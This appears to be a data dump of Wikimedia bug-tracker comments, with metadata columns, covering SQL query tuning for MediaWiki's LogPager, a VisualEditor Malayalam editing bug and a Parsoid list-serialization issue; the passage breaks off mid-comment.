+Still have to track down and sort out the ones without log_user = N. They're infrequent and low priority.",,,1389304624,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,27,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0
+251625,IndexPager::buildQueryInfo (LogPager) query needs tuning,Resetting status as per comment 9. Sean: Is this still high prio?,,,1389268532,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,True,,,27,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0
+251618,IndexPager::buildQueryInfo (LogPager) query needs tuning,"You're right, most of the slow queries we've seen in spikes do filter by log_user. But there are others that don't that also run slow.
+
+Ishmael, S3, db1003:
+
+/* IndexPager::buildQueryInfo */ select log_id, log_type, log_action, log_timestamp, log_user, log_user_text, log_namespace, log_title, log_comment, log_params, log_deleted, user_id, user_name, user_editcount, ts_tags from `logging` left join `user` on ((log_user=user_id)) left join `tag_summary` on ((ts_log_id=log_id)) where (log_type not in(?+)) and (log_type != ?) order by log_timestamp desc limit ?
+
+I went to S3 because that's where I saw the query form previously (zhwiktionary at the time). A quick check on S2 slaves doesn't show the same query running slow there, though there are other versions:
+
+* IndexPager::buildQueryInfo */ select log_id, log_type, log_action, log_timestamp, log_user, log_user_text, log_namespace, log_title, log_comment, log_params, log_deleted, user_id, user_name, user_editcount, ts_tags from `logging` left join `user` on ((log_user=user_id)) left join `tag_summary` on ((ts_log_id=log_id)) where (log_type != ?) and log_type = ? and log_namespace = ? and log_title = ? and ((log_deleted & ?) != ?) order by log_timestamp desc limit ?
+
+It's possible we'll trawl some of these up with the existing patch. Just something to keep in mind.",,,1384674453,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+251613,IndexPager::buildQueryInfo (LogPager) query needs tuning,Which slow queries are *not* filtering on user ID? I thought that is where the slow queries still mostly happen.,,,1384673187,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+251607,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Change 95584 merged by Springle:
+Changed use of tag_summary to use change_tag with GROUP_CONCAT()
+
+https://gerrit.wikimedia.org/r/95584",,,1384671061,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251601,IndexPager::buildQueryInfo (LogPager) query needs tuning,"True, ct_log_id cardinality still isn't brilliant, but it's better than ts_log_id.  The index is one that fluctuates cardinality estimates quite a bit between slaves, requiring periodic ANALYZE.  Eg, today the enwiki slaves manage to report ct_log_id cardinality values between 21 and 290251 :-| 
+
+Also, ct_log_id index covers (ct_log_id,ct_tag) which is useful.
+
+I've been trying different values for innodb_stats_sample_pages (=16 and =32) on several slaves to see if cardinality for a number of flakky indexes can be stabilized without the need for regular analysis (because of http://bugs.mysql.com/bug.php?id=33278). 
+
+After our chat on IRC on Friday I applied the change_tag/subquery version to other examples of slow LogPager logged on various wikis. It is generally better overall but can still be susceptible to hitting too much cold data.
+
+I'd still really like to see consideration on:
+
+- Making log_user=N clause enforced. The examples of the query that don't filter by user id hit the most rows.
+
+- If log_user=N isn't to be used then limit exposure to the last N months of data or something or change the way it's viewed entirely.
+
+- Consideration of your suggestion to break up tag_summary into three tables, which seems like a good plan given we already denormalize for tag_summary.",,,1384670134,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0
+251595,IndexPager::buildQueryInfo (LogPager) query needs tuning,Though actually doesn't change_tag also have similar poor cardinality problems for the log_id index?,,,1384640491,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+251588,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Change 95584 had a related patch set uploaded by Aaron Schulz:
+Changed use of tag_summary to use change_tag with GROUP_CONCAT()
+
+https://gerrit.wikimedia.org/r/95584",,,1384500369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251582,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Possibilities after talking with Aaron on IRC, assuming group_concat can be sorted in MW code for pg...
+
+Using change_tag instead of tag_summary avoids the poor cardinality of ts_log_id and allows better query plans on `logging` indexes:
+
+v1
+
+enwiki> explain SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,group_concat(distinct ct_tag separator ' ') as ts_tags FROM `logging`  LEFT JOIN `user` ON ((log_user=user_id)) LEFT JOIN change_tag ON (ct_log_id=log_id) WHERE (log_type NOT IN ('suppress','spamblacklist','review')) AND log_user = ? AND ((log_deleted & 4) = 0) GROUP BY log_id ORDER BY log_timestamp DESC LIMIT 51\G
+*************************** 1. row ***************************
+           id: 1
+  select_type: SIMPLE
+        table: logging
+         type: index
+possible_keys: type_time,user_time,log_user_type_time
+          key: times
+      key_len: 16
+          ref: NULL
+         rows: 2583
+        Extra: Using where; Using temporary
+*************************** 2. row ***************************
+           id: 1
+  select_type: SIMPLE
+        table: user
+         type: const
+possible_keys: PRIMARY
+          key: PRIMARY
+      key_len: 4
+          ref: const
+         rows: 1
+        Extra: 
+*************************** 3. row ***************************
+           id: 1
+  select_type: SIMPLE
+        table: change_tag
+         type: ref
+possible_keys: ct_log_id,change_tag_log_tag
+          key: ct_log_id
+      key_len: 5
+          ref: enwiki.logging.log_id
+         rows: 35
+        Extra: Using where; Using index
+3 rows in set (0.31 sec)
+
+pt-visual-explain
+
+JOIN
++- Filter with WHERE
+|  +- Index lookup
+|     key            change_tag->ct_log_id
+|     possible_keys  ct_log_id,change_tag_log_tag
+|     key_len        5
+|     ref            enwiki.logging.log_id
+|     rows           35
++- JOIN
+   +- Bookmark lookup
+   |  +- Table
+   |  |  table          user
+   |  |  possible_keys  PRIMARY
+   |  +- Constant index lookup
+   |     key            user->PRIMARY
+   |     possible_keys  PRIMARY
+   |     key_len        4
+   |     ref            const
+   |     rows           1
+   +- Table scan
+      +- TEMPORARY
+         table          temporary(logging)
+         +- Filter with WHERE
+            +- Bookmark lookup
+               +- Table
+               |  table          logging
+               |  possible_keys  type_time,user_time,log_user_type_time
+               +- Index scan
+                  key            logging->times
+                  possible_keys  type_time,user_time,log_user_type_time
+                  key_len        16
+                  rows           2583
+
+v2
+
+enwiki> explain SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,(select group_concat(distinct ct_tag separator ' ') from change_tag where ct_log_id = log_id) as ts_tags FROM `logging`  LEFT JOIN `user` ON ((log_user=user_id)) WHERE (log_type NOT IN ('suppress','spamblacklist','review')) AND log_user = ? AND ((log_deleted & 4) = 0) ORDER BY log_timestamp DESC LIMIT 51\G
+*************************** 1. row ***************************
+           id: 1
+  select_type: PRIMARY
+        table: logging
+         type: range
+possible_keys: type_time,user_time,log_user_type_time
+          key: log_user_type_time
+      key_len: 38
+          ref: NULL
+         rows: 18675
+        Extra: Using index condition; Using where; Using filesort
+*************************** 2. row ***************************
+           id: 1
+  select_type: PRIMARY
+        table: user
+         type: const
+possible_keys: PRIMARY
+          key: PRIMARY
+      key_len: 4
+          ref: const
+         rows: 1
+        Extra: 
+*************************** 3. row ***************************
+           id: 2
+  select_type: DEPENDENT SUBQUERY
+        table: change_tag
+         type: ref
+possible_keys: ct_log_id,change_tag_log_tag
+          key: ct_log_id
+      key_len: 5
+          ref: enwiki.logging.log_id
+         rows: 35
+        Extra: Using where; Using index
+3 rows in set (0.32 sec)
+
+pt-visual-explain
+
+DEPENDENT SUBQUERY
++- Filter with WHERE
+|  +- Index lookup
+|     key            change_tag->ct_log_id
+|     possible_keys  ct_log_id,change_tag_log_tag
+|     key_len        5
+|     ref            enwiki.logging.log_id
+|     rows           35
++- JOIN
+   +- Bookmark lookup
+   |  +- Table
+   |  |  table          user
+   |  |  possible_keys  PRIMARY
+   |  +- Constant index lookup
+   |     key            user->PRIMARY
+   |     possible_keys  PRIMARY
+   |     key_len        4
+   |     ref            const
+   |     rows           1
+   +- Filesort
+      +- Filter with WHERE
+         +- Index range scan
+            key            logging->log_user_type_time
+            possible_keys  type_time,user_time,log_user_type_time
+            key_len        38
+            rows           18675
+
+
+v2 appears slightly better.",,,1384474133,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1
+251577,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Larger WMF wikis are seeing more spikes of LogPager queries of which an example follows. These have had some recent tuning by initially removing forced indexes that no longer suited data set sizes, which has helped (10min down to ~100s), but we need to do more.
+
+mysql wmf db73 dewiki> explain SELECT /* IndexPager::buildQueryInfo (LogPager) xxx.xxx.xxx.xxx */ log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM `logging` LEFT JOIN `user` ON ((log_user=user_id)) LEFT JOIN `tag_summary` ON ((ts_log_id=log_id)) WHERE (log_type NOT IN ('suppress','spamblacklist')) AND log_user = ? AND ((log_deleted & 4) = 0) AND (log_type != 'review') ORDER BY log_timestamp DESC LIMIT 51\G
+*************************** 1. row ***************************
+           id: 1
+  select_type: SIMPLE
+        table: logging
+         type: index
+possible_keys: type_time,user_time,log_user_type_time
+          key: times
+      key_len: 16
+          ref: NULL
+         rows: 6705
+        Extra: Using where
+*************************** 2. row ***************************
+           id: 1
+  select_type: SIMPLE
+        table: user
+         type: eq_ref
+possible_keys: PRIMARY
+          key: PRIMARY
+      key_len: 4
+          ref: dewiki.logging.log_user
+         rows: 1
+        Extra: 
+*************************** 3. row ***************************
+           id: 1
+  select_type: SIMPLE
+        table: tag_summary
+         type: ref
+possible_keys: ts_log_id,tag_summary_log_id
+          key: ts_log_id
+      key_len: 5
+          ref: dewiki.logging.log_id
+         rows: 20172                   <-- often much larger
+        Extra: Using where
+3 rows in set (0.29 sec)
+
+The remaining problems are:
+
+- The queries are fast enough until one hits cold data leading a slave to bottleneck on disk. The buffer pool churn has a flow-on effect on other normally fast queries which become false positives in the slow log. Especially problematic when a crawler like MSNBOT triggers a spike of these.
+
+- The tag_summary table often has a relatively low cardinality for ts_log_id (many nulls, few ids).
+
+- Sometimes a slave logs multiple identical copies of a query (always a form filtered by log_user) at intervals of several seconds. Presumably someone refreshing a page that is too slow to respond.
+
+Possibilities:
+
+- Pull out only log_id,log_user first to reduce the impact of the filesort and grab user and tag data in follow-up batch query. If the query plan sitches to using Index Condition Pushdown (""Using index condition"" in explain), cold data is less of an issue as fewer table rows are hit and fewer pages read.
+
+- Limit the size of the dataset to be considered. By timestamp perhaps, last X months maybe. For heavier users only?
+
+- Improve the method of retrieving ts_tags using something other than tag_summary. Or remove it entirely.
+
+- Isolate these queries to specific slaves (like watchlist).",,,1384428099,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+251570,IndexPager::buildQueryInfo (LogPager) query needs tuning,Comment 2 correct.,,,1381972117,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+251563,IndexPager::buildQueryInfo (LogPager) query needs tuning,Was this removed together with other FORCE INDEX recently?,,,1381520218,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+251557,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Similar:
+
+SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) AstroChemist */  rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags  FROM `revision` INNER JOIN `page` ON ((page_id = rev_page)) LEFT JOIN `user` ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN `user_groups` ON ((ug_user = rev_user) AND ug_group = 'bot') LEFT JOIN `tag_summary` ON ((ts_rev_id=rev_id)) INNER JOIN `change_tag` FORCE INDEX (change_tag_tag_id) ON ((ct_rev_id=rev_id))  WHERE (rev_user >19555425) AND (ug_group IS NULL) AND (page_namespace != '0') AND ((rev_deleted & 4) = 0) AND ct_tag = 'visualeditor' AND (rev_timestamp<'20140101000000')  ORDER BY rev_timestamp DESC LIMIT 601;
+
+With force: 10+ mins
+
+Without force: 8s",,,1379619643,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1
+55572,VisualEditor: Unexpected editing behaviour for Malayalam Text,"Attachment 1
+
+Visual Editor became quite unusable (possibly) after a recent update in Malayalam Wikipedia. There are several selection, editing and linking problems started to appear recently. Two such problems are described here.
+
+See the example below
+
+1. Copy the following text and paste it in a test page at Malayalam Wikipedia using conventional editor and save it. 
+ഈ ദുരന്തം ഐറിഷ് രാജ്യാതിർത്തി
+
+2. Edit the page using VE.
+
+3. Change the third word ""ഐറിഷ്"" to ""അയർലൻഡ്"". To do that, select the word ""ഐറിഷ്"" by double clicking on it and type the word അയർലൻഡ്.
+
+4. Now I want to create a wikilink for അയർലൻഡ്. For that, I used shift+ctrl+left arrow. Now, instead of selecting the entire word, A PORTION OF THE WORD WAS SELECTED. See the attachment 1. 
+
+5. Select the entire word അയർലൻഡ് using double clicking on it
+
+6. Press ctrl+k. Now instead of popping up a linking suggestion for the word അയർലൻഡ്, THE WORD DISAPPEARED AND LINKING SUGGESTION FOR A PART OF NEXT WORD POPS UP. See the attachment 2
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Linux
+**Platform**: PC
+
+**Attached**: {F11751}",Medium,50.0,1377824820,1379322294.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-n4sh4scopfxwny7l26we,task_description,resolved,True,c1,3,False,False,True,8,,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+251287,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #9)
+> When will this be deployed in ml.wikipedia?
+
+Assuming that VE is deployed according to the roadmap for MediaWiki: [[mw:MediaWiki_1.22/Roadmap]], September 19. (Sorry, I should have mentioned that in my previous comment :) )",,,1379335311,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+251282,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #7)
+> vssun, on which wiki? The patch is only deployed at [[mw:|MediaWiki.org]]
+> right
+> now.
+
+Thank you. The bug is about Malayalam Wikipedia (already mentioned in description)
+
+When will this be deployed in ml.wikipedia?",,,1379333338,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+251277,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #6)
+> Still facing all the problems mentioned at comment 1
+
+Please always provide clear and exact steps to reproduce (e.g. URL testcase).
+Resetting status as I assume that this is fixed on mediawiki.org.",,,1379322294,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,11,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+251271,VisualEditor: Unexpected editing behaviour for Malayalam Text,"vssun, on which wiki? The patch is only deployed at [[mw:|MediaWiki.org]] right now.",,,1379314575,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+251267,VisualEditor: Unexpected editing behaviour for Malayalam Text,Still facing all the problems mentioned at comment 1,,,1379313962,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+251263,VisualEditor: Unexpected editing behaviour for Malayalam Text,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958943,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+251260,VisualEditor: Unexpected editing behaviour for Malayalam Text,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943178,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+251255,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #2)
+> Sorry for the incorrect attachment links on the above comments. Please
+> correct it if somebody can.
+
+Sorry, links in comments can't be edited in Bugzilla. :-(",,,1377827166,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,8,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+251248,VisualEditor: Unexpected editing behaviour for Malayalam Text,Sorry for the incorrect attachment links on the above comments. Please correct it if somebody can.,,,1377825981,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+251242,VisualEditor: Unexpected editing behaviour for Malayalam Text,"Attachment 2
+
+**Attached**: {F11752}",,,1377825109,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55568,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"When editing a document that contains:
+
+* Foo
+* Bar
+* Baz
+
+Adding an attribute to one of the list items in VE doesn't roundtrip (they serialise back to * instead of forcing <ul><li>..</ul>, as it will have to).
+
+Right now VisualEditor never does this, but earlier today I was experimenting with this (the language inspector might need to do this to properly flip the directionality of an individual list item, wrapping the inner content is not an option as then the number would be on the wrong side).
+
+When trying to reproduce this I noticed that it also happens when creating a new document (e.g. there is no existing page, it has no reason to force ""*"" instead of ""<li>"" other than that being the preferred default for wikitext).
+
+
+http://parsoid.wmflabs.org/_html/:
+
+In:
+<div dir=""ltr"">
+<ul>
+<li>a
+<li lang=""he"" dir=""rtl"">b
+<li>c
+</ul>
+</div>
+
+Out:
+<div dir=""ltr"">
+
+* a
+* b
+* c
+
+</div>
+
+The only case where Parsoid kept the attributes is when not editing a document with wikitext, and not creating a new document, but when editing an existing document with ""<li>"" in wikitext already, it did roundtrip those.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68800",Medium,50.0,1377813060,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5dek6g5wc736qamv43s5,task_description,open,True,c1,3,True,False,,8,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+1425245,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"An option might be to use T230683's `<<< .... >>>` syntax to handle T242777, and T230658's `{{#attr}}` to handle this task.
+
+Right now you can't mix ""wikitext"" and ""HTML-ish"" syntax in the same list (ie, some items `*` and some items `<li>`, which means the serializer needs to go back and convert *all* of the items in the list into html-ish syntax when it finds an item which can't be represented without it (either due to newlines in the content or attributes on the tag).  We could make that work, but it would probably require either (a) backtracking and reserializing the list, which could be O(N^2) in the worst case (O(N) nested lists, where the final item in each requires going back and reserializing the list using html-ish syntax), or (b) lookahead in the serializer for problematic content, which again could be O(N^2) if done naively (O(N) nested lists, where each requires O(N) look ahead to the 